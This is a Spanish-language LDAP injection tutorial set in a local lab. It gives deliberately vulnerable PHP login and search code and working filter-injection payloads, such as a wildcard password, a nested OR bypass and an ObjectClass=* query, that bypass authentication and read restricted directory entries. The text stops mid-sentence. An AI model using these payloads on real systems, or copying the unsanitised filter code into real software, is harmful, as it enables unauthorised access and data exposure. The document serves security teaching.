0% encontró este documento útil (0 votos)
128 vistas24 páginas

Inyecciones LDAP PDF

Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
128 vistas24 páginas

Inyecciones LDAP PDF

Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 24

TALLER DE INYECCIONES LDAP

Por The X-C3LL

@TheXC3LL http://0verl0ad.blogspot.com //0verl0ad.blogspot.com

Indice de Contenidos-----] Contenidos [----Indice 0x01 Introduccin 0x02 Laboratorio ./0x01 OpenLDAP ./0x02 Servidor Web ./0x03 Test 0x03 Funciones bsicas en PHP 0x04 Filtros de bsquedas 0x05 Bypassing Logins ./0x01 Sin filtrar asteriscos ./0x02 Filtrando asteriscos 0x06 Extraccin de informacin inform 0x07 Blind LDAP Injection 0x08 Despedida [--------------Eof-------------------]

0x01 Introduccin
Lo primero que quiero aclarar en esta introduccin es que no voy a extenderme en cmo funciona LDAP, ni en los estndares en que basa su estructura. Con ello quiero decir que es ms que recomendable que amplieis informacin, puesto que este manual se va a centrar en la vulnerabilidad. Una vez dejado claro esto, paso a copipastear la definicin de wikipedia: Cita de: Wikipedia LDAP son las siglas de Lightweight Directory Access Protocol (en espaol Protocolo Ligero de Acceso a Directorios) que hacen referencia a un protocolo a nivel de aplicacin el cual permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa informacin en un entorno de red. LDAP tambin es considerado una base de datos (aunque su sistema de almacenamiento puede ser diferente) a la que pueden realizarse consultas. Un directorio es un conjunto de objetos con atributos organizados en una manera lgica y jerrquica. El ejemplo ms comn es el directorio telefnico, que consiste en una serie de nombres (personas u organizaciones) que estn ordenados alfabticamente, con cada nombre teniendo una direccin y un nmero de telfono adjuntos. Un rbol de directorio LDAP a veces refleja varios lmites polticos, geogrficos u organizacionales, dependiendo del modelo elegido. Los despliegues actuales de LDAP tienden a usar nombres de Sistema de Nombres de Dominio (DNS por sus siglas en ingls) para estructurar los niveles ms altos de la jerarqua. Conforme se desciende en el directorio pueden aparecer entradas que representan personas, unidades organizacionales, impresoras, documentos, grupos de personas o cualquier cosa que representa una entrada dada en el rbol (o mltiples entradas). Habitualmente, almacena la informacin de autenticacin (usuario y contrasea) y es utilizado para autenticarse aunque es posible almacenar otra informacin (datos de contacto del usuario, ubicacin de diversos recursos de la red, permisos, certificados, etc). A manera de sntesis, LDAP es un protocolo de acceso unificado a un conjunto de informacin sobre una red. La versin actual es LDAPv3, la cual es especificada en una serie de Internet Engineering Task Force (IETF) Standard Track Request for Comments (RFCs) como se detalla en el documento RFC 4510. En resumidas cuentas podemos decir que se trata de un protocolo que permite acceder a un servicio de directorios donde se almacena la informacin, para ser usada posteriormente, dentro de la red de una corporacin. Podemos imaginar que es como una llave a las pginas amarillas: dependiendo de cmo est constituido el rbol LDAP podramos encontrar desde nombres, correos, direcciones, nombres de usuarios, puesto de trabajo, ordenador asignado, etc. es decir un conjunto de informacin muy interesante para un posible atacante. Por otro lado, LDAP tiene otra vertiente muy

importante desde el punto de vista de la seguridad porque en algunas ocasiones es utilizada a modo de base de datos, llegando en algunos casos a usarse como mtodo de autenticacin.

Los ataques utilizados hasta ahora contra LDAP son muy diferentes, siendo los ms populares las conexiones annimas a los directorios para recoger informacin (vase el caso de la NASA) y las inyecciones a travs de aplicaciones webs. Este segundo tipo de ataque (existen muchos ms, pero he comentado los ms habituales) ser sobre el que centraremos este taller.

El formato tpico con el que vamos a trabajar es LDIF. En este formato las entradas estarn constituidas en su inicio por el dn (distingused name) que est compuesto por el nombre de la entrada (CN) y por los rboles padre (DC). Posteriormente se colocan los atributos que sern quienes contengan los campos con informacin. Un ejemplo de entrada podra ser: (Nota sera muy interesante que ampliaseis toda esta informacin porque esto slo ha sido una pincelada). Cdigo: Text 1. dn: cn=Testcell,dc=pruebas,dc=com 2. cn: Testcell 3. givenName: X-C3LL 4. sn: Celula 5. telephoneNumber: 696969696 6. telephoneNumber: 7878787878 7. mail: [email protected] 8. objectClass: inetOrgPerson 9. objectClass: organizationalPerson 10. objectClass: person 11. objectClass: top

Se puede observar al inicio como el nombre de la entrada es "Testcell", y que los rboles padre son pruebas y com, por lo que la estructura sera similar a :
WORLD | |_ com (ARBOLES) |_pruebas |_Testcell

DIRECTORIOS ENTRADAS

0x02 Laboratorio
A continuacin proceder a explicar cmo montaremos nuestro laboratorio. En este caso no vamos a complicarnos mucho y vamos a usar OpenLDAP para el servidor

LDAP y para correr las aplicaciones web usaremos EasyPHP (Apache) a fin de que los que quieran empezar lo puedan hacer rpido y no tengan que configurar todo el servidor desde 0 (que sera lo recomendable). Si estais trabajando bajo Linux, OpenLDAP tambin podeis usarlo, y si teneis instalado Apache fijaros de que al compilar PHP le habeis introducido las .dll necesarias para poder usar las funciones de LDAP. Cualquier problema que os encontreis a la hora de hacer funcionar nuestro laboratorio posteadla en este mismo tema e intentar resolverla.

./0x01 OpenLDAP
Como he dicho hace apenas unas lneas arriba vamos a emplear OpenLDAP para nuestro servidor, por lo que procederemos a su descarga desde el sitio oficial: http://www.openldap.org/software/download/ . En la instalacin nos pedir que seleccionemos el tipo de backend, debeis de seleccionar LDIF. Por lo dems creo que no debera de haber ninguna duda con respecto a la instalacin (como password usad la default, "secret"). Una vez que hayamos finalizado correctamente la instalacin procederemos a modificar el archivo slapd.conf. Para que no haya ningn problema a la hora de ejecutar las prcticas del taller necesitaremos que todos tengamos la misma configuracin, por lo que tendreis que cambiar vuestros valores a: Citar suffix rootdn "dc=pruebas,dc=com" "cn=Manager,dc=pruebas,dc=com"

Una vez hecho esto procederemos a la instalacin del servidor web.

./0x02 Servidor Web


Procedemos a descargar EasyPHP desde la web oficial ( http://www.easyphp.org/download.php ) e instalarlo (no tiene ningn misterio). Ahora bien, por defecto PHP no tiene habilitadas las funciones LDAP, asi que tendremos que activarlas de forma manual. Buscar el archivo php.ini dentro de la carpeta PHP y descomentar (quitar el ";") la lnea extension=php_ldap.dll, repite esta operacin en el archivo php.ini que encontrars en la carpeta de Apache. Una vez modificado php.ini tendremos que mover las .dll ssealy32.dll, libsasl.dll y libeay32.dll a la carpeta bin de Apache. Si una vez que usemos funciones LDAP desde PHP nos suelta un erorr indicando que no encuentra la funcion, copiaremos esas dos dlls a la carpeta system32.

./0x03 Test
A continuacin pondremos en marcha OpenLDAP ejecuntando el archivo run.bat que

se encuentra en la carpeta run, dentro de la carpeta donde se instal el programa, y pondremos en marcha el servidor Apache desde el panel de control de EasyPHP. Ahora colocad un archivo index.php dentro de la carpeta www de EasyPHP que contega el siguiente cdigo: Cdigo: PHP 1. 2. 3. 4. <?php echo "<h1>Test de funcionamiento</h1><p>"; $ds = ldap_connect("127.0.0.1"); ?>

Acceded a l va navegador (http://127.0.0.1/ ).Si ha habido algn problema nos aparecer un mensaje tipo "Can't find... bla bla... LDAP_CONNECT". De ser as revisa todos los pasos, y si has seguido todo al pie de la letra y sigue sin funcar, postealo para intentar echarte una mano. Si te ha ido bien, contina leyendo.

0x03 Funciones bsicas en PHP


El objetivo de este primer ejercicio es conocer las funciones bsicas que usaremos para interaccionar desde la aplicacin web con el servidor LDAP. Para ello aadiremos nuestras primeras entradas al servidor, a travs de un fichero .ldif. Creamos con el bloc de notas un fichero que llamaremos pruebas.ldif y lo guardamos en la misma carpeta de OpenLDAP. El contenido del fichero es el siguiente: Citar dn: dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Test123 dc: pruebas dn: cn=TestSeta,dc=pruebas,dc=com cn: TestSeta givenName: Seth sn: Gay telephoneNumber: 7777777 telephoneNumber: 76767676767676 mail: [email protected] objectClass: inetOrgPerson objectClass: organizationalPerso n objectClass: person objectClass: top dn: cn=TestDark,dc=pruebas,dc=com cn: TestDark

givenName: DarkGatox sn: Gato telephoneNumber:56565656565 telephoneNumber: 1234567 mail: [email protected] objectClass: inetOrgPerson objectClass: organizationalPerso n objectClass: person objectClass: top dn: cn=Testcell,dc=pruebas,dc=com cn: Testcell givenName: X-C3LL sn: Celula telephoneNumber: 696969696 telephoneNumber: 7878787878 mail: [email protected] objectClass: inetOrgPerson objectClass: organizationalPerso n objectClass: person objectClass: top Abrimos el cmd y nos situamos en la carpeta donde se cuentra el archivo que hemos creado. A continuacin ejecutamos slapdadd.exe con el siguiente arguemento para aadir las entradas al servidor: Citar slapadd -l pruebas.ldif

Si ya habeis ledo ms sobre LDAP, y LDIF, (y si no lo habeis hecho, A qu cojones esperais?) sabreis que se ha creado un directorio tal que as:

WORLD | |_com DIRECTORIOS(RBOLES) |_pruebas |_Testcell |_TestDark ENTRADAS |_TestSeta

Habiendo creado ya las entradas, procederemos a trabajar con ellas a travs de PHP. La operacion ms bsica e indispensable es la de conexin al servidor que se realiza a travs de la funcin ldap_connect(), cuyo argumento es la direccin IP o el nombre del dominio donde se encuentra el servidor. En nuestro caso como las pruebas son en local sera 127.0.0.1 o localhost. Lo segundo que debemos de hacer es autenticarnos en el servidor usando la funcin ldap_bind(), a la que hay que pasarle como argumentos la conexin (que tendremos guardada en una variable), el nombre de usuario (en nuestro caso cn=Manager,dc=pruebas,dc=com) y la contrasea (secret). En el caso de querer conectarnos como usuario annimo, (en caso de que el servidor est configurado para admitir este tipo de conexiones) nicamente podremos leer las entradas y no

modificarlas. Para conectar de esta forma deberemos de pasarle a la funcin ldap_bind() la conexin que abrimos anteriormente. Un consejo para evitar conflictos con los protocolos empleados es la de definir la versin que vamos a utilizar, a travs de ldap_set_option(). Un ejemplo sencillo para que practiqueis con estas 3 funciones es el siguiente: Cdigo: PHP 1. <?php 2. echo "<h1>Ejercicio n1</h1><pre>"; 3. 4. //Seteamos las variables "usuario" y "password" para facilitar su trabajo 5. $usuario = "cn=Manager,dc=pruebas,dc=com"; 6. $pass = "secret"; 7. 8. //Conectamos con el servidor e indicamos la versin que emplearemos en la comunicacin 9. $ds = ldap_connect("127.0.0.1"); 10. ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); 11. 12. //Si se establece la conexin procederemos a autenticarnos 13. if ($ds){ 14. 15. $a=ldap_bind($ds, $usuario, $pass); 16. if($a){ 17. //En caso afirmativo aparecer un mensaje verde.... 18. echo '<font color="green">Autenticacin con xito</font>'; 19. 20. } else { 21. //... y si no ha funcado en rojo. 22. echo '<font color="red">Autenticacin fallida</font>'; 23. 24. } 25. //Cerramos la conexin 26. ldap_close($ds); 27. } 28. 29. ?> 30.

Una vez conectados y autenticados en el servidor podremos proceder a realizar consultas y bsquedas dentro de los rboles. La funcin base para realizar una bsqueda es ldap_search() y requiere como parmetros mnimos un rbol donde buscar y un filtro (en secciones posteriores nos centraremos en esto). El ejemplo ms sencillo es tratar de localizar en qu entradas se encuentra un determinado atributo. Una vez que se ha realizado la bsqueda pasamos el resultado a la funcin ldap_get_entries() que nos devolver un array asociativo donde podremos trabajar con los atributos uno por uno, as como conocer el nmero de entradas. En el ejercicio n2 podemos ver cmo mostrar qu entradas tienen un determinado "sn": Cdigo: PHP 1. <?php 2. echo "<h1>Ejercicio n2</h1>"; 3. $usuario = "cn=Manager,dc=pruebas,dc=com"; 4. $pass = "secret"; 5. 6. 7. 8. $ds = ldap_connect("127.0.0.1"); 9. ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); 10. 11. 12. if ($ds) { 13. 14. $a=ldap_bind($ds, $usuario, $pass); 15. 16. if ($a) { 17. 18. //Realizamos la bsqueda, en este caso buscamos las entradas que tengan como valor de sn "Gato" 19. $sr = ldap_search($ds, "dc=pruebas, dc=com", "sn=Gato"); 20. 21. //Sacamos un array asociativo con los datos 22. $info = ldap_get_entries($ds, $sr); 23. //Mostramos el nmero de entradas que contienen un sn cuyo valor es "Gato" 24. echo "Devueltos datos de ".$info["count"]." entradas:<p>"; 25. //Mediante un bucle for mostramos el DN y el SN de la entrada 26. for ($i=0; $i<$info["count"]; $i++) { 27. echo "Nombre de la entrada: ". $info[$i]["dn"] ."<br>"; 28. echo "sn: ". $info[$i]["sn"][0] ."<p>"; 29. 30. }

31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45.

} else { echo "No autenticado"; }

} ldap_close($ds); ?>

Como nicamente hay una entrada que coincida con el criterio de bsqueda, nicamente se nos mostrar sta: Citar Ejercicio n2 Devueltos datos de 1 entradas: Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com sn: Gato En el ejercicio n3 intentaremos averiguar qu personas usan correos electrnicos del mismo dominio y adems cuales son estos correos, usando para ello el comodin * en el filtro de bsqueda: Cdigo: PHP 1. <?php 2. echo "<h1>Ejercicio n3</h1>"; 3. $usuario = "cn=Manager,dc=pruebas,dc=com"; 4. $pass = "secret"; 5. 6. 7. 8. $ds = ldap_connect("127.0.0.1"); 9. ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); 10. 11. 12. if ($ds) { 13. 14. $a=ldap_bind($ds, $usuario, $pass); 15. 16. if ($a) {

17. 18. 19. $sr = ldap_search($ds, ldap_search "dc=pruebas, dc=com", dc=com" "mail=*@portaljuanker.info" "mail=*@portaljuanker.info"); 20. 21. 22. $info = ldap_get_entries($ds, $sr); 23. 24. echo "Devueltos datos de ".$info["count" "count"]." entradas:<p>"; ; 25. for ($i=0 0; $i<$info["count"]; $i++) { 26. echo "Nombre de la entrada: ". $info[$i]["dn" "dn"] ."<br>"; 27. echo "sn: ". $info[$i]["sn"][0] ] ."<br>"; 28. echo "Mail:".$info[$i]["mail"][ ][0]."<p>"; 29. 30. } 31. 32. 33. } else { 34. echo "No autenticado"; autenticado" 35. 36. } 37. 38. 39. 40. 41. } 42. ldap_close ldap_close($ds); 43. 44. ?> 45.

Son 3 las entradas que tienen un correo en ese dominio, y adems podremos saber cuales son esos correos :

Citar Ejercicio n3 Devueltos datos de 3 entradas: Nombre de la entrada: cn=Testcell,dc=pruebas,dc=com sn: Celula [email protected] Mail:[email protected] Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com sn: Gato Mail:[email protected]

Nombre de la entrada: cn=TestSeta,dc=pruebas,dc=com sn: Gay Mail:[email protected]

0x04 Filtros de bsquedas


Los filtros de bsqueda que se aplican en una peticin al servidor LDAP se colocan entre ( ), uno por cada filtro. Las equivalencias pueden ser =, =~, >=, <=, y los operadores lgicos & (AND), ! (NOT) y | (OR). Los operadores lgicos se colocan delante de los filtros a los que quiere aplicarse. Por ejemplo, si quisieramos buscar aquellas entradas cuyo e-mail es @portaljuanker.net y cuyo nombre sea Ramiro usaramos el siguiente filtro: (&(mail= *@portalhacker.net)(givenName=Ramiro)) Cuando utilizamos el operador AND estamos indicando que las condiciones del filtro siempre se deben de cumplir (justo lo contrario de NOT), sin embargo cuando hacemos uso de OR, se buscaran aquellas entradas que cumplan al menos una de las condiciones. Si queremos saber, por ejemplo, quienes son Administradores o colaboradores, podramos realizar la siguiente bsqueda: (|(description=admin*)(description=colab*))

Los filtros tienen prioridad desde dentro hacia fuera, y desde la izquierda hacia la derecha. Si quisieramos buscar dentro de aquellos usuarios que son admin y colaboradores cuales no tienen su correo @portaljuanker.net, el filtro sera: (|((description=admin*)(description=colab*))(!(mail=*@portaljuanker.net)) Una vez entendido como trabajar con los filtros, deberais de practicar imaginando cualquier situacin y tratando de crear un filtrado que se adapte.

0x05 Bypassing Logins


Dice Seth que quiere empezar a romper cosas, asi que nos pondremos a ello. Como no saba por donde empezar, creo que lo mejor ser seguir el orden lgico que aparece en los manuales de SQL injections: siempre empiezan con el bypass de login va ' OR 1=1 --. Algo similar es lo que vamos a hacer aqu, aunque primero vamos a estudiar un caso mucho ms simple. Para poder continuar realizando los ejercicios debeis de borrar todo el contenido de la carpeta ldifdata,y editar el contenido del archivo pruebas.ldif que hicimos al inicio, susituyendo todo por esto: Citar

dn: dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Web dc: pruebas

dn: dc=usuarios,dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Usuarios dc: usuarios

dn: uid=seth,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerso n objectclass: inetOrgPerson cn: Seth sn: Gaylord givenname: Seta uid: seth ou: people description: Moderador de Seguridad Web telephonenumber: 44433322 mail: [email protected] userpassword: RGBlaChupaDeCanto

dn: uid=rgb,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerso n objectclass: inetOrgPerson cn: Rgb sn: Dictator givenname: Colorines uid: rgb ou: people description: Administrador PortalHacker telephonenumber: 1234123412 mail: [email protected] userpassword: SethEsGay

dn: uid=waeswaes,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerso n

objectclass: inetOrgPerson cn: WaesWaes sn: Javadicted givenname: Gmod uid: waes ou: people description: Gmod de PortalHacker telephonenumber: 696969696 mail: [email protected] userpassword: 0verl0ad El escenario donde vamos a movernos es una aplicacin web que para comprobar si ese usuario y contrasea son correctos no utiliza una base de datos SQL clsica, sino que emplea un servidor LDAP. Para ello la aplicacin se conectar al servidor empleando un usuario y contrasea, y realizar una bsqueda para encontrar si hay correspondecia con el usuario y la contrsea. De ser correcto el login la aplicacin debera de abrir un sesin web a ese usuario y podr disfrutar de una navegacin con su usuario (esta parte me la voy a salta, nos vamos a centrar en que el login sea TRUE o FALSE, lo que haga despus de eso no nos incumbe

./0x01 Sin filtrar asteriscos


Este es el escenario ms sencillo que vamos a encontrar, y es aqul en el que no se filtra ni los asteriscos. No tiene ningn misterio, aun as os dejo un pequeo ejemplo de un login con esta carencia. Los parmetros en vez de enviarlos por una peticin POST lo mando por una GET para poder editarlos ms fcilmente. Aqu el cdigo: Cdigo: PHP 1. <?php 2. 3. echo "<h1>Ejercicio n4 - Bypass login con asteriscos</h1>"; 4. 5. $usuario = "cn=Manager,dc=pruebas,dc=com"; 6. $pass = "secret"; 7. 8. $ds = ldap_connect("127.0.0.1"); 9. ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); 10. 11. if ($ds){ 12. 13. $a=ldap_bind($ds, $usuario, $pass); 14. 15. if ($a){ 16.

17. $buscar = "(&(uid=".$_GET&#91;'uid'].")(userPassword=".$_GET&#91 ;'p']."))"; 18. echo $buscar."<p>"; 19. $sr = ldap_search($ds, "dc=pruebas, dc=com", "$buscar"); 20. $info = ldap_get_entries($ds, $sr); 21. 22. if ($info["count"] == 1){ 23. 24. echo '<font color="green">Has iniciado sesin correctamente!</font><p>'; 25. 26. for ($i=0; $i<$info["count"]; $i++) { 27. echo "Nombre de la entrada: ". $info[$i]["dn"] ."<br>"; 28. echo "Apellidos: ". $info[$i]["sn"][0] ."<br>"; 29. echo "Apodo: ". $info[$i]["givenname"][0] ."<br>"; 30. echo "Rango: ". $info[$i]["description"][0] ."<br>"; 31. echo "Telefono: ". $info[$i]["telephonenumber"][0] ."<br>"; 32. echo "Mail:".$info[$i]["mail"][0]."<p>"; 33. 34. } 35. 36. } else { 37. 38. echo '<font color="red">ERROR! El usuario o contrasea son incorrectos</font>'; 39. 40. } 41. } else { 42. 43. echo "No autenticado"; 44. } 45. } 46. ldap_close($ds); 47. 48. ?> 49.

Si probamos a pasarle un par de datos verdaderos (index.php?uid=seth&p=RGBlaChupaDeCanto el login ser vlido y podremos ver

un mensaje indicndonoslo. La consulta de bsqueda que se ha enviado ha sido (&(uid=seth)(userPassword=RGBlaChupaDeCanto)), y nos ha devuelto una entrada con la coincidencia. Si probsemos con un usuario invlido, o una contrasea invlida no podramos pasar el login. Para poder bypassear esta restriccin smplemente tendramos que conocer el nombre de un usuario y como password colocar un "*", quedando el filtro de bsqueda constituido de la siguiente la forma (&(uid=seth)(userPassword=*)). Como vimos anteriormente es un carcter comodn que nos permitir cumplir siempre la condicin inpuesta por el IF (siempre coincidir el uid "seth" con "cualquier password").

./0x02 Filtrando asteriscos


Este caso es el ms comn. El truco del asterisco es demasiado obvio para un login (que no para una bsqueda normal) y casi cualquier persona encargada de trabajar con LDAP ser consciente de que debe de eviar los comodines, lo que es menos probable es que caiga en la cuenta de que no es la nica forma de realizar un bypass. Nos podrn quitar los asteriscos, pero jams nos quitarn el bypass! Bien para este ejercicio smplemente aadir una funcin para eliminar "*" de las variables que se introducen, (por ejemplo podeis aadir $buscar = str_replace("*", "", $buscar);) justo despus de la lnea 17 (es decir, donde setea $buscar con la consulta). Si todo va bien al intentar utilizar un comodin para poder loguearnos como el usuario nos debera de soltar un error ( por ejemplo /index.php?uid=rgb&p=*). Podemos comprobar que la consulta queda corrompida, (&(uid=rgb)(userPassword=)), por lo que siempre ser FALSE. Podemos aplicar el siguiente truco (extrado de una presentacin de Chema Alonso) para que, aun usando una contrasea falsa, el login siga siendo positivo. La idea es que se forme el siguiente filtro: (&(uid=rgb)(!(&(|)(userPassword=adfadfad)))) . He intentado sealizar con colores el alcance de cada filtro, aunque creo que as sigue siendo un pequeo lo, as que voy a proceder a separar condicin por condicin, aplicando el criterio que coment en el apartado destinado a filtros: (&(uid=rgb)(!(&(|)(userPassword=adfadfad)))) &(uid=rgb) (|) &(|)(userPassword=adfadfad)) (!(&(|)(userPassword=adfadfad)))

Esta idea es buena, pero es bastante complicada. Por mi parte yo he diseado mi propio truco, basado en que en un filtro de bsquedas se pueden utilizar dos veces el mismo atributo y el mismo valor. Si recordamos la comprobacin de si el user y el password coincide se lleva acabo a travs de un operador AND, que evala dos condiciones (user y password). Lo que vamos a hacer es desdoblar la segunda condicin y hacer que se transforme en una operacin OR entre password y de nuevo el usuario. Es decir, debe quedar algo as:

(&(uid=seth)(|(uid=seth)(userPassword=adfadfad))) Que se leera como "Si uid= Seth y adems, uid=Seth o userPassword=adfadfad entonces es vlido". Como uid=seth existe, la resolucin del OR va a ser TRUE, es decir que pese a que no tenga ese userPassword como s cumple la otra condicin el filtro equivaldra a (&(uid=seth)(uid=seth)) , que siempre es verdad. Para que todo ello suceda la inyeccin deber quedar como /index.php?uid=seth)(|(uid=seth&p=adfadfad). Al filtro le estaremos aadiendo los siguientes caracteres: (&(uid=seth)(|(uid=seth)(userPassword=adfadfad)))

Con esto creo que queda ya zanjado el tema de cmo bypassear sistemas de logueo basados en bsquedas LDAP. Siempre la base va a ser la misma, lo nico que puede variar es la forma en que realice su bsqueda, por lo que tendreis que adaptaros a la circunstancia y crear una inyeccin para esa aplicacin en concreto. Otra cosa que quiero que tengais en mente es que no siempre que se autentica va LDAP se emplea este sistema, existe una forma ms segura que es en vez de usar un juego usuario/contrasea situado en la aplicacin para bindear con el servidor, lo que existen son distintas usuarios/contrasea que corresponde con cada usuario. De esta forma la comprobacin se realiza intentando autenticarse con los datos que indiquemos, si no lo consigue detectar que son incorrectos los datos.

En este ltimo caso tambin pueden aparecer fallos a la hora de programar la aplicacin web que nos permitan entrar al sistema como usuarios annimos. No comento este caso porque no tiene relacin con las inyecciones LDAP, sino que se trata (en el caso ms comn) de no asegurarnos que se han seteado las variables password y usuario a la de usar la funcin de bindeo.

0x06 Extraccin de informacin


En este bloque vamos a centrarnos en cmo extraer informacin de las aplicaciones que actan como buscadores de los servidores LDAP, es decir, que nos permiten buscar cierta informacin dentro de unos lmites. Lo que vamos a hacer nosotros es saltarnos esos lmites. Al igual que en el bloque anterior borrad el contenido de ldifdata y editad vuestro archivo pruebas.ldif con el siguiente contenido: Cdigo: [Seleccionar]
dn: dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Web dc: pruebas

dn: dc=usuarios,dc=pruebas,dc=com objectclass: dcObject objectclass: organization

o: Usuarios dc: usuarios

dn: dc=admin,dc=usuarios,dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Administradores dc: admin

dn: dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Moderadores Globales dc: gmod

dn: dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: dcObject objectclass: organization o: Moderadores dc: mod

dn: uid=vart,dc=admin,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Vart sn: Vartolin givenname: Vartola uid: vart ou: people description: admin telephonenumber: 44433322 mail: [email protected] userpassword: nananaLIDER

dn: uid=rgb,dc=admin,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Romario sn: Gonzalez Sinde givenname: Colorines uid: rgb ou: people description: admin telephonenumber: 4455522 mail: [email protected] userpassword: SethEsGay

dn: uid=rcart,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person

objectclass: organizationalPerson objectclass: inetOrgPerson cn: Rocarto sn: Linuxin givenname: Rcarteles uid: rcart ou: people description: gmod telephonenumber: 65423452345 mail: [email protected] userpassword: NadieMeHaceCaso

dn: uid=Waes,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Waltermelon sn: Galindo Perez givenname: Waeswaes uid: waes ou: people description: gmod telephonenumber: 45234523452 mail: [email protected] userpassword: SecretoDeSumario

dn: uid=seth,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Rafael sn: Jimenez Losantos givenname: Seta uid: seth ou: people description: mod telephonenumber: 654243555 mail: [email protected] userpassword: FreePornHere

dn: uid=cemasmas,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Robustiano sn: Perez Perez givenname: C++ uid: cemasmas ou: people description: mod telephonenumber: 64534654663555 mail: [email protected] userpassword: ILOVECPH

dn: uid=aetsu,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson cn: Vidal sn: Fernandez Carazzo givenname: Aetsu uid: aetsu ou: people description: mod telephonenumber: 44455566 mail: [email protected] userpassword: WifiPowah

La estructura de los rboles que hemos creado es la siguiente:

com |_pruebas |_usuarios |_admin | |_vart | |_rgb | |_gmod |_rcart |_waes |_mod |_seth |_cemasmas |_aetsu

Imaginemos una aplicacin web ficticia dentro del foro que permitiese a los moderadores globales acceder a la informacin personal de los moderadores, pero no a la de aquellos usuarios que poseen un rango superior (admins) o igual (otros gmods). Quizs estoy usando demasiado el ejemplo de los datos de personas, pero esto mismo se puede encontrar aplicado a busquedas en proyectos, ordenadores conectados a una red, impresoras, etc. Siempre acabo hablando de personas porque es la forma, creo, que permite captar los conceptos ms fcilmente. Estas tcnicas que aqu estoy exponiendo son extrapolables a otros escenarios ms suculentos.. El criterio de esta aplicacin ficticia va a ser realizar una bsqueda donde se filtre aquellos resultados a partir del nombre o del apodo de un usuario, y que tengan como descripcin el rango de moderador. El filtro quedara como (&(uid=usuario?)(description=mod)(givenname=apodo?)) Cdigo: PHP

1. <?php 2. 3. echo "<h1>Ejercicio n5 - Extraccin de informacin</h1>"; 4. 5. $usuario = "cn=Manager,dc=pruebas,dc=com"; 6. $pass = "secret"; 7. 8. $ds = ldap_connect("127.0.0.1"); 9. ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); 10. 11. if ($ds){ 12. 13. $a=ldap_bind($ds, $usuario, $pass); 14. 15. if ($a){ 16. 17. $buscar = "(&(uid=".$_GET&#91;'q'].")(description=mod))"; 18. echo $buscar."<p>"; 19. $sr = ldap_search($ds, "dc=pruebas, dc=com", "$buscar"); 20. $info = ldap_get_entries($ds, $sr); 21. 22. 23. for ($i=0; $i<$info["count"]; $i++) { 24. echo "Nombre de la entrada: ". $info[$i]["dn"] ."<br>"; 25. echo "Apellidos: ". $info[$i]["sn"][0] ."<br>"; 26. echo "Apodo: ". $info[$i]["givenname"][0] ."<br>"; 27. echo "Rango: ". $info[$i]["description"][0] ."<br>"; 28. echo "Telefono: ". $info[$i]["telephonenumber"][0] ."<br>"; 29. echo "Mail:".$info[$i]["mail"][0]."<p>"; 30. 31. 32. 33. } 34. } else { 35. 36. echo "No autenticado"; 37. } 38. } 39. ldap_close($ds);

40. 41. 42.

?>

Quizs habeis observado que el filtro tiene un orden raro. Esto es debido a que openLDAP tiene la particularidad de que que el filtro tiene que casar perfectamente, por lo que para poder extraer informacin se debe de poder inyectar en un campo anterior y otro posterior a la condicin que se quiere evitar. En cierto modo esto lo hace ms seguro, puesto que si slo puedes inyectar en un campo es poco probable que la inyeccin funcione. En el resto de servidores LDAP esto no pasa, si se consiguen crear dos filtros, el segundo se ignora, por lo que es ms sencillo inyectar. Este caso que es el ms comn lo veremos luego, aunque sin demos [podeis hacer vuestra propia demo si os instalais otro servidor LDAP]. En este ejemplo que he visto, para poder ver esa informacin a la que no tenemos acceso alguno, debemos de utilizar una tcnica similar a la empleada para el bypass del login. Debemos de aislar el filtro problemtico del resto, incluyendolo dentro de una operacin lgica | donde al menos una de las condiciones es verdadera. Como desconocemos, a nivel de usuario, cuales son los atributos por los que se realiza la bsqueda utilizaremos ObjectClass=* para que el ")" que se queda suelto tenga lgica. Por lo tanto una posible forma de escalar privilegios y leer esa informacin a la que no tenemos acceso podra ser: index.php?q=vart)(|(ObjectClass=*&g=*) La bsqueda que realizara la aplicacin quedara como (&(uid=vart)(|(ObjectClass=*)(description=mod)(givenname=*))) y tendra toda la lgica del mundo. Ahora bien, como he dicho hace un instante 